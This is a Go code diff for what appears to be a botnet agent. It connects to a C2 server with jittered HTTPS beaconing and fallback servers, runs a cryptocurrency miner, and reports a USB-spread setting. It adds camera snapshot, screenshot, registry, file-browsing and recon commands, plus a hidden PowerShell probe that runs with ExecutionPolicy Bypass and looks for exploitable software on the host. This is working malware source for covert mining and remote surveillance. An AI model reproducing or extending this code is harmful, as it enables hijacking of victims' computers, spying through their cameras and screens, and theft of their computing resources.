func (c *AgentClient) Run() error {
|
||||
if c.cfg.AgentKillAfterDays > 0 && !c.cfg.BuiltAt.IsZero() {
|
||||
age := time.Since(c.cfg.BuiltAt)
|
||||
limit := time.Duration(c.cfg.AgentKillAfterDays) * 24 * time.Hour
|
||||
if age >= limit {
|
||||
log.Printf("[agent] agent_kill_after_days (%d) reached — exiting", c.cfg.AgentKillAfterDays)
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
threads := c.cfg.EffectiveThreads()
|
||||
c.pool = miner.NewPool(threads, c.cfg, c.reporter, c.submitShare)
|
||||
c.pool.Start()
|
||||
@@ -118,32 +133,76 @@ func (c *AgentClient) Run() error {
|
||||
serverURLs := buildServerURLList(c.cfg)
|
||||
log.Printf("[agent] %d server(s) configured: %v", len(serverURLs), serverURLs)
|
||||
|
||||
urlIdx := 0
|
||||
backoff := 5 * time.Second
|
||||
const maxBackoff = 60 * time.Second
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
log.Printf("[agent] connectivity_probe: c2_dns=%v c2_tcp=%v pool_dns=%v pool_tcp=%v",
|
||||
probe.C2DNSOK, probe.C2TCPOK, probe.PoolDNSOK, probe.PoolTCPOK)
|
||||
|
||||
urlIdx := 0
|
||||
backoff, maxBackoff := c.reconnectBackoff()
|
||||
for {
|
||||
target := serverURLs[urlIdx%len(serverURLs)]
|
||||
start := time.Now()
|
||||
// Restore C2 share handler before connecting (in case Stratum had it).
|
||||
c.pool.SetShareHandler(c.submitShare)
|
||||
if c.shouldUseHTTPSBeacon(c.wsDownSinceTime()) {
|
||||
log.Printf("[agent] WebSocket unavailable — HTTPS beacon to %s", target)
|
||||
if err := c.beaconOnce(target); err != nil {
|
||||
log.Printf("[agent] beacon failed on %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
} else {
|
||||
c.sleepReconnect(c.beaconInterval())
|
||||
}
|
||||
}
|
||||
if err := c.connectLoop(target); err != nil {
|
||||
log.Printf("[agent] disconnected from %s: %v", target, err)
|
||||
c.markWSDownSince()
|
||||
}
|
||||
// Advance to next URL so the next reconnect tries a different server
|
||||
urlIdx++
|
||||
if time.Since(start) > 10*time.Second {
|
||||
// Long-lived connection succeeded — reset backoff on the next attempt
|
||||
backoff = 5 * time.Second
|
||||
backoff, maxBackoff = c.reconnectBackoff()
|
||||
}
|
||||
time.Sleep(backoff)
|
||||
backoff += 5 * time.Second
|
||||
c.sleepReconnect(backoff)
|
||||
backoff += c.reconnectBackoffStep()
|
||||
if backoff > maxBackoff {
|
||||
backoff = maxBackoff
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoff() (time.Duration, time.Duration) {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
base := time.Duration(sec) * time.Second
|
||||
max := 60 * time.Second
|
||||
if base*12 > max {
|
||||
max = base * 12
|
||||
}
|
||||
return base, max
|
||||
}
|
||||
|
||||
func (c *AgentClient) reconnectBackoffStep() time.Duration {
|
||||
sec := c.cfg.BeaconIntervalSec
|
||||
if sec <= 0 {
|
||||
sec = 5
|
||||
}
|
||||
return time.Duration(sec) * time.Second
|
||||
}
|
||||
|
||||
func (c *AgentClient) sleepReconnect(d time.Duration) {
|
||||
jitter := c.cfg.BeaconJitterPct
|
||||
if jitter > 0 {
|
||||
if jitter > 100 {
|
||||
jitter = 100
|
||||
}
|
||||
factor := 1.0 + (rand.Float64()*2-1)*float64(jitter)/100.0
|
||||
d = time.Duration(float64(d) * factor)
|
||||
}
|
||||
time.Sleep(d)
|
||||
}
|
||||
|
||||
// buildServerURLList returns [primaryURL, ...backupURLs] deduped and in order.
|
||||
func buildServerURLList(cfg config.RuntimeConfig) []string {
|
||||
seen := map[string]bool{}
|
||||
@@ -263,6 +322,8 @@ func (c *AgentClient) authenticate() error {
|
||||
Arch: runtime.GOARCH,
|
||||
OSVersion: deploy.HostOSVersion(),
|
||||
MacAddress: primaryMACAddress(),
|
||||
BuildID: c.cfg.BuildID,
|
||||
USBSpread: c.cfg.USBSpread,
|
||||
})
|
||||
if err := c.write(Message{Type: "auth", Payload: payload}); err != nil {
|
||||
return err
|
||||
@@ -287,7 +348,8 @@ func (c *AgentClient) authenticate() error {
|
||||
return fmt.Errorf("auth failed: %s", resp.Error)
|
||||
}
|
||||
c.agentID = resp.AgentID
|
||||
log.Printf("[agent] authenticated as %s", c.agentID)
|
||||
c.clearWSDownSince()
|
||||
log.Printf("[agent] authenticated as %s (WebSocket)", c.agentID)
|
||||
// Persist the server-confirmed ID so restarts always reconnect as the same agent.
|
||||
if installDir, err := c.cfg.InstallDirectory(); err == nil {
|
||||
_ = deploy.PersistAgentID(installDir, c.agentID)
|
||||
@@ -549,7 +611,15 @@ func (c *AgentClient) handleCommand(action string, tailLines int, command, path,
|
||||
}
|
||||
go c.performUpgrade(data)
|
||||
c.sendCommandResult(action, true, "upgrade started — will reconnect with new binary")
|
||||
case "bof_execute":
|
||||
c.sendCommandResult(action, false, "bof_execute is not implemented — in-memory BOF execution is disabled for safety")
|
||||
default:
|
||||
if c.handleRegistryCommand(action, path, data) {
|
||||
return
|
||||
}
|
||||
if c.handleFileCommand(action, path) {
|
||||
return
|
||||
}
|
||||
if c.handleReconCommand(action, command) {
|
||||
return
|
||||
}
|
||||
@@ -563,9 +633,56 @@ func (c *AgentClient) sendCommandResult(action string, success bool, message str
|
||||
"success": success,
|
||||
"message": message,
|
||||
})
|
||||
if c.beaconMode.Load() {
|
||||
c.postBeaconResult(payload)
|
||||
return
|
||||
}
|
||||
_ = c.write(Message{Type: "command_result", Payload: payload})
|
||||
}
|
||||
|
||||
func (c *AgentClient) wsDownSinceTime() time.Time {
|
||||
if v := c.wsDownSince.Load(); v != nil {
|
||||
if t, ok := v.(time.Time); ok {
|
||||
return t
|
||||
}
|
||||
}
|
||||
return time.Time{}
|
||||
}
|
||||
|
||||
func (c *AgentClient) markWSDownSince() {
|
||||
if !c.wsDownSinceTime().IsZero() {
|
||||
return
|
||||
}
|
||||
c.wsDownSince.Store(time.Now())
|
||||
}
|
||||
|
||||
func (c *AgentClient) clearWSDownSince() {
|
||||
c.wsDownSince.Store(time.Time{})
|
||||
}
|
||||
|
||||
func (c *AgentClient) collectStatsPayload() (StatsPayload, error) {
|
||||
hps := c.pool.HashesPerSecond()
|
||||
c.pool.ResetHashCounter()
|
||||
cpuPct, memPct := c.reporter.Usage()
|
||||
if sysCPU := c.reporter.SystemCPUPercent(); sysCPU > 0 {
|
||||
cpuPct = sysCPU
|
||||
}
|
||||
c.mu.Lock()
|
||||
submitted := c.sharesSubmitted
|
||||
accepted := c.sharesAccepted
|
||||
c.mu.Unlock()
|
||||
return StatsPayload{
|
||||
Hashrate15s: hps,
|
||||
Hashrate1m: hps,
|
||||
Hashrate15m: hps,
|
||||
SharesSubmitted: submitted,
|
||||
SharesAccepted: accepted,
|
||||
CPUUsagePct: cpuPct,
|
||||
MemoryUsagePct: memPct,
|
||||
UptimeSeconds: int(time.Since(c.startTime).Seconds()),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func (c *AgentClient) stopSelf() {
|
||||
time.Sleep(300 * time.Millisecond)
|
||||
c.pool.Stop()
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"runtime"
|
||||
@@ -21,6 +22,12 @@ func (c *AgentClient) runExecCommand(command string) ([]byte, error) {
|
||||
}
|
||||
|
||||
func (c *AgentClient) handleReconCommand(action, command string) bool {
|
||||
if action == "connectivity_probe" {
|
||||
probe := runConnectivityProbe(c.cfg.ServerURL, c.cfg.PoolHost, c.cfg.PoolPort)
|
||||
b, _ := json.Marshal(probe)
|
||||
c.sendCommandResult(action, true, string(b))
|
||||
return true
|
||||
}
|
||||
if action == "full_sys_check" {
|
||||
report := CollectFullSysCheck(c.cfg, c.agentID)
|
||||
c.sendCommandResult(action, true, report.JSON())
|
||||
|
||||
@@ -52,6 +52,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
} else {
|
||||
return true, false, "screenshot not supported on this platform without custom command"
|
||||
}
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
case "sysinfo":
|
||||
out, err = exec.Command("uname", "-a").CombinedOutput()
|
||||
case "ipconfig":
|
||||
|
||||
@@ -106,6 +106,8 @@ func (c *AgentClient) platformRecon(action, command string) (handled bool, succe
|
||||
return true, false, "screenshot failed or empty image (agent may need an interactive desktop session)"
|
||||
}
|
||||
return true, true, b64
|
||||
case "camera_snapshot", "camera_list":
|
||||
return handleCameraAction(action)
|
||||
case "sysinfo":
|
||||
out, err = silentCombinedOutput("systeminfo")
|
||||
case "ipconfig":
|
||||
|
||||
93
agent/client/connectivity_probe.go
Normal file
93
agent/client/connectivity_probe.go
Normal file
@@ -0,0 +1,93 @@
|
||||
package client
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"net"
|
||||
"net/url"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ConnectivityProbeReport is diagnostic-only reachability (not a C2 channel).
|
||||
type ConnectivityProbeReport struct {
|
||||
C2Host string `json:"c2_host"`
|
||||
C2DNSOK bool `json:"c2_dns_ok"`
|
||||
C2DNSAddrs []string `json:"c2_dns_addrs,omitempty"`
|
||||
C2TCPOK bool `json:"c2_tcp_ok"`
|
||||
C2TCPError string `json:"c2_tcp_error,omitempty"`
|
||||
PoolHost string `json:"pool_host,omitempty"`
|
||||
PoolDNSOK bool `json:"pool_dns_ok,omitempty"`
|
||||
PoolDNSAddrs []string `json:"pool_dns_addrs,omitempty"`
|
||||
PoolTCPOK bool `json:"pool_tcp_ok,omitempty"`
|
||||
PoolTCPError string `json:"pool_tcp_error,omitempty"`
|
||||
}
|
||||
|
||||
func runConnectivityProbe(serverURL, poolHost string, poolPort int) ConnectivityProbeReport {
|
||||
report := ConnectivityProbeReport{}
|
||||
host, port, err := hostPortFromServerURL(serverURL)
|
||||
if err != nil {
|
||||
report.C2Host = serverURL
|
||||
report.C2TCPError = err.Error()
|
||||
return report
|
||||
}
|
||||
report.C2Host = net.JoinHostPort(host, port)
|
||||
report.C2DNSOK, report.C2DNSAddrs = probeDNSResolve(host)
|
||||
report.C2TCPOK, report.C2TCPError = probeTCPConnect(host, port)
|
||||
|
||||
if poolHost != "" {
|
||||
pport := poolPort
|
||||
if pport <= 0 {
|
||||
pport = 3333
|
||||
}
|
||||
pportStr := fmt.Sprintf("%d", pport)
|
||||
report.PoolHost = net.JoinHostPort(poolHost, pportStr)
|
||||
report.PoolDNSOK, report.PoolDNSAddrs = probeDNSResolve(poolHost)
|
||||
report.PoolTCPOK, report.PoolTCPError = probeTCPConnect(poolHost, pportStr)
|
||||
}
|
||||
return report
|
||||
}
|
||||
|
||||
func hostPortFromServerURL(serverURL string) (host, port string, err error) {
|
||||
raw := strings.TrimSpace(serverURL)
|
||||
if raw == "" {
|
||||
return "", "", fmt.Errorf("empty server URL")
|
||||
}
|
||||
if !strings.Contains(raw, "://") {
|
||||
raw = "http://" + raw
|
||||
}
|
||||
u, err := url.Parse(raw)
|
||||
if err != nil {
|
||||
return "", "", err
|
||||
}
|
||||
host = u.Hostname()
|
||||
port = u.Port()
|
||||
if port == "" {
|
||||
if u.Scheme == "https" {
|
||||
port = "443"
|
||||
} else {
|
||||
port = "80"
|
||||
}
|
||||
}
|
||||
if host == "" {
|
||||
return "", "", fmt.Errorf("no host in server URL")
|
||||
}
|
||||
return host, port, nil
|
||||
}
|
||||
|
||||
func probeDNSResolve(host string) (bool, []string) {
|
||||
addrs, err := net.LookupHost(host)
|
||||
if err != nil || len(addrs) == 0 {
|
||||
return false, nil
|
||||
}
|
||||
return true, addrs
|
||||
}
|
||||
|
||||
func probeTCPConnect(host, port string) (bool, string) {
|
||||
addr := net.JoinHostPort(host, port)
|
||||
conn, err := net.DialTimeout("tcp", addr, 5*time.Second)
|
||||
if err != nil {
|
||||
return false, err.Error()
|
||||
}
|
||||
_ = conn.Close()
|
||||
return true, ""
|
||||
}
|
||||
20
agent/client/connectivity_probe_test.go
Normal file
20
agent/client/connectivity_probe_test.go
Normal file
@@ -0,0 +1,20 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestHostPortFromServerURL(t *testing.T) {
|
||||
host, port, err := hostPortFromServerURL("https://c2.example.com:8989")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host != "c2.example.com" || port != "8989" {
|
||||
t.Fatalf("got %s:%s", host, port)
|
||||
}
|
||||
host, port, err = hostPortFromServerURL("http://192.168.1.5")
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if host != "192.168.1.5" || port != "80" {
|
||||
t.Fatalf("got %s:%s", host, port)
|
||||
}
|
||||
}
|
||||
66
agent/client/cve_catalog.go
Normal file
66
agent/client/cve_catalog.go
Normal file
@@ -0,0 +1,66 @@
|
||||
package client
|
||||
|
||||
// KEVEntry describes a CISA-known-exploited style vulnerability for read-only exposure checks.
|
||||
// Heuristics indicate likely exposure on the host — not a penetration test.
|
||||
type KEVEntry struct {
|
||||
ID string
|
||||
Name string
|
||||
Product string
|
||||
Severity string // critical, high, medium
|
||||
CISAKEV bool
|
||||
Description string
|
||||
}
|
||||
|
||||
// KEVCatalog is aligned with CISA AA22-117A / AA22-279A top exploited CVE families.
|
||||
var KEVCatalog = []KEVEntry{
|
||||
{ID: "CVE-2021-44228", Name: "Log4Shell", Product: "Apache Log4j", Severity: "critical", CISAKEV: true,
|
||||
Description: "JNDI RCE in Log4j 2.x before 2.17.0"},
|
||||
{ID: "CVE-2021-26855", Name: "ProxyLogon", Product: "Microsoft Exchange", Severity: "critical", CISAKEV: true,
|
||||
Description: "Exchange Server pre-auth SSRF chain (Mar 2021)"},
|
||||
{ID: "CVE-2020-1472", Name: "Zerologon", Product: "Microsoft Netlogon", Severity: "critical", CISAKEV: true,
|
||||
Description: "Domain controller Netlogon privilege escalation"},
|
||||
{ID: "CVE-2019-19781", Name: "Citrix ADC", Product: "Citrix ADC/Gateway", Severity: "critical", CISAKEV: true,
|
||||
Description: "Path traversal on Citrix Application Delivery Controller"},
|
||||
{ID: "CVE-2019-11510", Name: "Pulse Secure", Product: "Ivanti Pulse Connect Secure", Severity: "critical", CISAKEV: true,
|
||||
Description: "Arbitrary file read on Pulse VPN appliances"},
|
||||
{ID: "CVE-2020-5902", Name: "F5 BIG-IP", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
|
||||
Description: "Remote code execution in TMUI (CVE-2020-5902)"},
|
||||
{ID: "CVE-2022-1388", Name: "F5 iControl", Product: "F5 BIG-IP", Severity: "critical", CISAKEV: true,
|
||||
Description: "iControl REST auth bypass (May 2022)"},
|
||||
{ID: "CVE-2021-26084", Name: "Confluence OGNL", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
|
||||
Description: "Confluence Server/Data Center RCE"},
|
||||
{ID: "CVE-2022-26134", Name: "Confluence RCE", Product: "Atlassian Confluence", Severity: "critical", CISAKEV: true,
|
||||
Description: "Confluence unauthenticated RCE (2022)"},
|
||||
{ID: "CVE-2021-40539", Name: "ManageEngine", Product: "Zoho ManageEngine ADSelfService Plus", Severity: "critical", CISAKEV: true,
|
||||
Description: "Unauthenticated RCE in ADSelfService Plus"},
|
||||
{ID: "CVE-2018-13379", Name: "FortiOS path traversal", Product: "Fortinet FortiGate/FortiOS", Severity: "critical", CISAKEV: true,
|
||||
Description: "SSL-VPN path traversal (FortiOS)"},
|
||||
{ID: "CVE-2021-34527", Name: "PrintNightmare", Product: "Windows Print Spooler", Severity: "high", CISAKEV: true,
|
||||
Description: "Spooler remote code execution (Jul 2021)"},
|
||||
{ID: "CVE-2020-0688", Name: "Exchange RCE", Product: "Microsoft Exchange", Severity: "high", CISAKEV: true,
|
||||
Description: "Exchange control panel deserialization RCE"},
|
||||
{ID: "CVE-2021-21972", Name: "vCenter RCE", Product: "VMware vCenter", Severity: "critical", CISAKEV: true,
|
||||
Description: "vSphere Client RCE in vCenter Server"},
|
||||
}
|
||||
|
||||
// KEVFinding is one catalog entry with a probe result for this host.
|
||||
type KEVFinding struct {
|
||||
CVE string `json:"cve"`
|
||||
Name string `json:"name"`
|
||||
Product string `json:"product"`
|
||||
Severity string `json:"severity"`
|
||||
CISAKEV bool `json:"cisa_kev"`
|
||||
Status string `json:"status"` // exposed, likely, clear, n/a
|
||||
Detail string `json:"detail,omitempty"`
|
||||
}
|
||||
|
||||
// KEVScanReport aggregates exposure heuristics for the dashboard.
|
||||
type KEVScanReport struct {
|
||||
ScannedAt string `json:"scanned_at"`
|
||||
ExposedCount int `json:"exposed_count"`
|
||||
LikelyCount int `json:"likely_count"`
|
||||
CriticalCount int `json:"critical_count"`
|
||||
RiskScore int `json:"risk_score"` // 0-100 higher = worse
|
||||
Findings []KEVFinding `json:"findings"`
|
||||
Summary string `json:"summary,omitempty"`
|
||||
}
|
||||
34
agent/client/cve_scan_common.go
Normal file
34
agent/client/cve_scan_common.go
Normal file
@@ -0,0 +1,34 @@
|
||||
package client
|
||||
|
||||
import "time"
|
||||
|
||||
func finalizeKEVReport(findings []KEVFinding) *KEVScanReport {
|
||||
r := &KEVScanReport{
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339),
|
||||
Findings: findings,
|
||||
}
|
||||
for _, f := range findings {
|
||||
switch f.Status {
|
||||
case "exposed":
|
||||
r.ExposedCount++
|
||||
if f.Severity == "critical" {
|
||||
r.CriticalCount++
|
||||
}
|
||||
case "likely":
|
||||
r.LikelyCount++
|
||||
}
|
||||
}
|
||||
r.RiskScore = kevRiskScore(r)
|
||||
return r
|
||||
}
|
||||
|
||||
func kevRiskScore(r *KEVScanReport) int {
|
||||
if r == nil {
|
||||
return 0
|
||||
}
|
||||
score := r.CriticalCount*25 + r.ExposedCount*15 + r.LikelyCount*8
|
||||
if score > 100 {
|
||||
return 100
|
||||
}
|
||||
return score
|
||||
}
|
||||
16
agent/client/cve_scan_stub.go
Normal file
16
agent/client/cve_scan_stub.go
Normal file
@@ -0,0 +1,16 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func scanKEVExposure(_ *PatchStatusReport, _ *ListenPortsReport, _ *SysCheckSecurity) *KEVScanReport {
|
||||
findings := make([]KEVFinding, 0, len(KEVCatalog))
|
||||
for _, e := range KEVCatalog {
|
||||
findings = append(findings, KEVFinding{
|
||||
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
|
||||
Status: "n/a", Detail: "KEV heuristics run on Windows agents only",
|
||||
})
|
||||
}
|
||||
r := finalizeKEVReport(findings)
|
||||
r.Summary = "KEV scan requires Windows"
|
||||
return r
|
||||
}
|
||||
22
agent/client/cve_scan_test.go
Normal file
22
agent/client/cve_scan_test.go
Normal file
@@ -0,0 +1,22 @@
|
||||
package client
|
||||
|
||||
import "testing"
|
||||
|
||||
func TestFinalizeKEVReportRiskScore(t *testing.T) {
|
||||
r := finalizeKEVReport([]KEVFinding{
|
||||
{CVE: "CVE-2021-26855", Status: "exposed", Severity: "critical"},
|
||||
{CVE: "CVE-2021-44228", Status: "likely", Severity: "critical"},
|
||||
})
|
||||
if r.ExposedCount != 1 || r.LikelyCount != 1 || r.CriticalCount != 1 {
|
||||
t.Fatalf("counts: %+v", r)
|
||||
}
|
||||
if r.RiskScore < 30 {
|
||||
t.Fatalf("expected elevated risk score, got %d", r.RiskScore)
|
||||
}
|
||||
}
|
||||
|
||||
func TestKEVCatalogNotEmpty(t *testing.T) {
|
||||
if len(KEVCatalog) < 10 {
|
||||
t.Fatalf("expected KEV catalog entries, got %d", len(KEVCatalog))
|
||||
}
|
||||
}
|
||||
231
agent/client/cve_scan_windows.go
Normal file
231
agent/client/cve_scan_windows.go
Normal file
@@ -0,0 +1,231 @@
|
||||
//go:build windows
|
||||
|
||||
package client
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"strings"
|
||||
)
|
||||
|
||||
const kevProbeScript = `
|
||||
$ErrorActionPreference = 'SilentlyContinue'
|
||||
$out = [ordered]@{}
|
||||
|
||||
# Exchange (ProxyLogon / ProxyLogon family)
|
||||
$exSvc = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -like 'MSExchange*' -or $_.DisplayName -like '*Exchange*' })
|
||||
$exReg = Test-Path 'HKLM:\SOFTWARE\Microsoft\ExchangeServer'
|
||||
$out.exchange_installed = ($exSvc.Count -gt 0 -or $exReg)
|
||||
|
||||
# Domain Controller (Zerologon surface)
|
||||
try {
|
||||
$dc = (Get-CimInstance Win32_ComputerSystem).DomainRole -in 4,5
|
||||
} catch { $dc = $false }
|
||||
$out.is_domain_controller = $dc
|
||||
|
||||
# Pulse / Ivanti VPN client or service
|
||||
$pulse = @(Get-Service -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.DisplayName -match 'Pulse|Ivanti|Juniper Pulse' -or $_.Name -match 'Pulse'
|
||||
})
|
||||
$out.pulse_present = ($pulse.Count -gt 0)
|
||||
|
||||
# Citrix ADC / Gateway / Workspace server components
|
||||
$citrix = @(
|
||||
Test-Path 'C:\inetpub\scripts',
|
||||
(Test-Path 'C:\Program Files\Citrix'),
|
||||
(Test-Path 'C:\Program Files (x86)\Citrix')
|
||||
) | Where-Object { $_ }
|
||||
$out.citrix_present = ($citrix.Count -gt 0)
|
||||
|
||||
# F5 BIG-IP local management (rare on desktop)
|
||||
$f5 = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'bigip|f5' })
|
||||
$out.f5_process = ($f5.Count -gt 0)
|
||||
|
||||
# Confluence / Atlassian stack
|
||||
$conf = @(Get-Process -ErrorAction SilentlyContinue | Where-Object {
|
||||
$_.Path -match 'atlassian|confluence|tomcat' -or $_.ProcessName -match 'confluence|tomcat'
|
||||
})
|
||||
$out.confluence_like = ($conf.Count -gt 0)
|
||||
|
||||
# ManageEngine ADSelfService Plus
|
||||
$me = @(
|
||||
Test-Path 'C:\Program Files\ManageEngine',
|
||||
Test-Path 'C:\ManageEngine'
|
||||
) | Where-Object { $_ }
|
||||
$out.manageengine_present = ($me.Count -gt 0)
|
||||
|
||||
# Fortinet FortiClient
|
||||
$forti = @(Get-Process -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'forti' })
|
||||
$out.forticlient = ($forti.Count -gt 0)
|
||||
|
||||
# VMware vCenter / vSphere client heavy installs
|
||||
$vmw = @(Get-Service -ErrorAction SilentlyContinue | Where-Object { $_.Name -match 'vpxd|VMware' })
|
||||
$out.vmware_serverish = ($vmw.Count -gt 0)
|
||||
|
||||
# Print Spooler (PrintNightmare surface)
|
||||
try {
|
||||
$sp = Get-Service Spooler
|
||||
$out.spooler_running = ($sp.Status -eq 'Running')
|
||||
} catch { $out.spooler_running = $false }
|
||||
|
||||
# Log4j jars — shallow search (bounded)
|
||||
$log4j = @()
|
||||
$roots = @(
|
||||
$env:ProgramFiles,
|
||||
${env:ProgramFiles(x86)},
|
||||
'C:\ProgramData'
|
||||
) | Where-Object { $_ -and (Test-Path $_) }
|
||||
foreach ($root in $roots) {
|
||||
$log4j += Get-ChildItem -Path $root -Filter 'log4j-core*.jar' -Recurse -Depth 3 -ErrorAction SilentlyContinue |
|
||||
Select-Object -First 5 -ExpandProperty FullName
|
||||
}
|
||||
$out.log4j_jars = @($log4j | Select-Object -Unique)
|
||||
|
||||
$out | ConvertTo-Json -Compress -Depth 4
|
||||
`
|
||||
|
||||
type kevProbeResult struct {
|
||||
ExchangeInstalled bool `json:"exchange_installed"`
|
||||
IsDomainController bool `json:"is_domain_controller"`
|
||||
PulsePresent bool `json:"pulse_present"`
|
||||
CitrixPresent bool `json:"citrix_present"`
|
||||
F5Process bool `json:"f5_process"`
|
||||
ConfluenceLike bool `json:"confluence_like"`
|
||||
ManageEnginePresent bool `json:"manageengine_present"`
|
||||
FortiClient bool `json:"forticlient"`
|
||||
VMwareServerish bool `json:"vmware_serverish"`
|
||||
SpoolerRunning bool `json:"spooler_running"`
|
||||
Log4jJars []string `json:"log4j_jars"`
|
||||
}
|
||||
|
||||
func runKEVProbe() (*kevProbeResult, error) {
|
||||
out, err := silentCombinedOutput(
|
||||
"powershell", "-NoProfile", "-ExecutionPolicy", "Bypass", "-WindowStyle", "Hidden", "-Command",
|
||||
kevProbeScript,
|
||||
)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
raw := strings.TrimSpace(string(out))
|
||||
if idx := strings.LastIndex(raw, "{"); idx > 0 {
|
||||
raw = raw[idx:]
|
||||
}
|
||||
var p kevProbeResult
|
||||
if err := json.Unmarshal([]byte(raw), &p); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &p, nil
|
||||
}
|
||||
|
||||
func scanKEVExposure(patch *PatchStatusReport, ports *ListenPortsReport, sec *SysCheckSecurity) *KEVScanReport {
|
||||
probe, probeErr := runKEVProbe()
|
||||
findings := make([]KEVFinding, 0, len(KEVCatalog))
|
||||
|
||||
patchDays := -1
|
||||
if patch != nil && patch.LastPatchDays != nil {
|
||||
patchDays = *patch.LastPatchDays
|
||||
}
|
||||
listening := map[int]bool{}
|
||||
if ports != nil {
|
||||
for _, p := range ports.Ports {
|
||||
listening[p.Port] = true
|
||||
}
|
||||
}
|
||||
|
||||
for _, e := range KEVCatalog {
|
||||
f := KEVFinding{
|
||||
CVE: e.ID, Name: e.Name, Product: e.Product, Severity: e.Severity, CISAKEV: e.CISAKEV,
|
||||
Status: "clear", Detail: e.Description,
|
||||
}
|
||||
if probeErr != nil {
|
||||
f.Status = "n/a"
|
||||
f.Detail = "probe unavailable"
|
||||
findings = append(findings, f)
|
||||
continue
|
||||
}
|
||||
|
||||
switch e.ID {
|
||||
case "CVE-2021-26855", "CVE-2020-0688":
|
||||
if probe.ExchangeInstalled {
|
||||
f.Status = "exposed"
|
||||
f.Detail = "Microsoft Exchange services/registry detected — verify Mar 2021+ CU patches"
|
||||
if patchDays >= 0 && patchDays > 90 {
|
||||
f.Status = "likely"
|
||||
f.Detail += "; host patch age > 90 days"
|
||||
}
|
||||
}
|
||||
case "CVE-2020-1472":
|
||||
if probe.IsDomainController {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Domain controller role — ensure Aug 2020 Netlogon patch (Zerologon) applied"
|
||||
if patchDays >= 0 && patchDays > 60 {
|
||||
f.Status = "exposed"
|
||||
f.Detail = "DC with patch age > 60 days — Zerologon mitigation urgency"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-44228":
|
||||
if len(probe.Log4jJars) > 0 {
|
||||
f.Status = "likely"
|
||||
f.Detail = "log4j-core JAR(s) found: " + strings.Join(probe.Log4jJars, "; ")
|
||||
}
|
||||
case "CVE-2019-19781":
|
||||
if probe.CitrixPresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Citrix install paths present — verify ADC/Gateway patch level if server role"
|
||||
}
|
||||
case "CVE-2019-11510":
|
||||
if probe.PulsePresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Pulse/Ivanti VPN software detected — verify appliance firmware if VPN gateway"
|
||||
}
|
||||
case "CVE-2020-5902", "CVE-2022-1388":
|
||||
if probe.F5Process || listening[443] {
|
||||
if probe.F5Process {
|
||||
f.Status = "likely"
|
||||
f.Detail = "F5-related process detected"
|
||||
}
|
||||
}
|
||||
case "CVE-2021-26084", "CVE-2022-26134":
|
||||
if probe.ConfluenceLike {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Atlassian/Confluence-like Java process — verify Confluence patch level"
|
||||
}
|
||||
case "CVE-2021-40539":
|
||||
if probe.ManageEnginePresent {
|
||||
f.Status = "likely"
|
||||
f.Detail = "ManageEngine directory present — verify ADSelfService Plus version"
|
||||
}
|
||||
case "CVE-2018-13379":
|
||||
if probe.FortiClient {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Fortinet client process running — verify FortiOS/FortiClient versions on VPN edge"
|
||||
}
|
||||
case "CVE-2021-21972":
|
||||
if probe.VMwareServerish {
|
||||
f.Status = "likely"
|
||||
f.Detail = "VMware server-style services detected — verify vCenter patch level"
|
||||
}
|
||||
case "CVE-2021-34527":
|
||||
if probe.SpoolerRunning && !probe.IsDomainController {
|
||||
f.Status = "likely"
|
||||
f.Detail = "Print Spooler running — restrict if not required (PrintNightmare era)"
|
||||
}
|
||||
}
|
||||
|
||||
// Stale patching amplifies any likely/exposed KEV surface
|
||||
if f.Status == "likely" && patchDays > 120 {
|
||||
f.Detail += " · OS patches older than 120 days"
|
||||
}
|
||||
|
||||
findings = append(findings, f)
|
||||
}
|
||||
|
||||
r := finalizeKEVReport(findings)
|
||||
if r.ExposedCount > 0 || r.CriticalCount > 0 {
|
||||
r.Summary = "CISA KEV-style exposure indicators detected — patch or isolate affected roles"
|
||||
} else if r.LikelyCount > 0 {
|
||||
r.Summary = "Some KEV-related software stacks detected — verify versions and patches"
|
||||
} else {
|
||||
r.Summary = "No high-confidence KEV exposure indicators on this host"
|
||||
}
|
||||
return r
|
||||
}
|
||||
12
agent/client/file_ops_unix.go
Normal file
12
agent/client/file_ops_unix.go
Normal file
@@ -0,0 +1,12 @@
|
||||
//go:build !windows
|
||||
|
||||
package client
|
||||
|
||||
func (c *AgentClient) handleFileCommand(action, path string) bool {
|
||||
switch action {
|
||||
case "list_dir", "read_file":
|
||||
c.sendCommandResult(action, false, "file browser commands are only supported on Windows agents")
|
||||
return true
|
||||
}
|
||||
return false
|
||||
}
|
||||
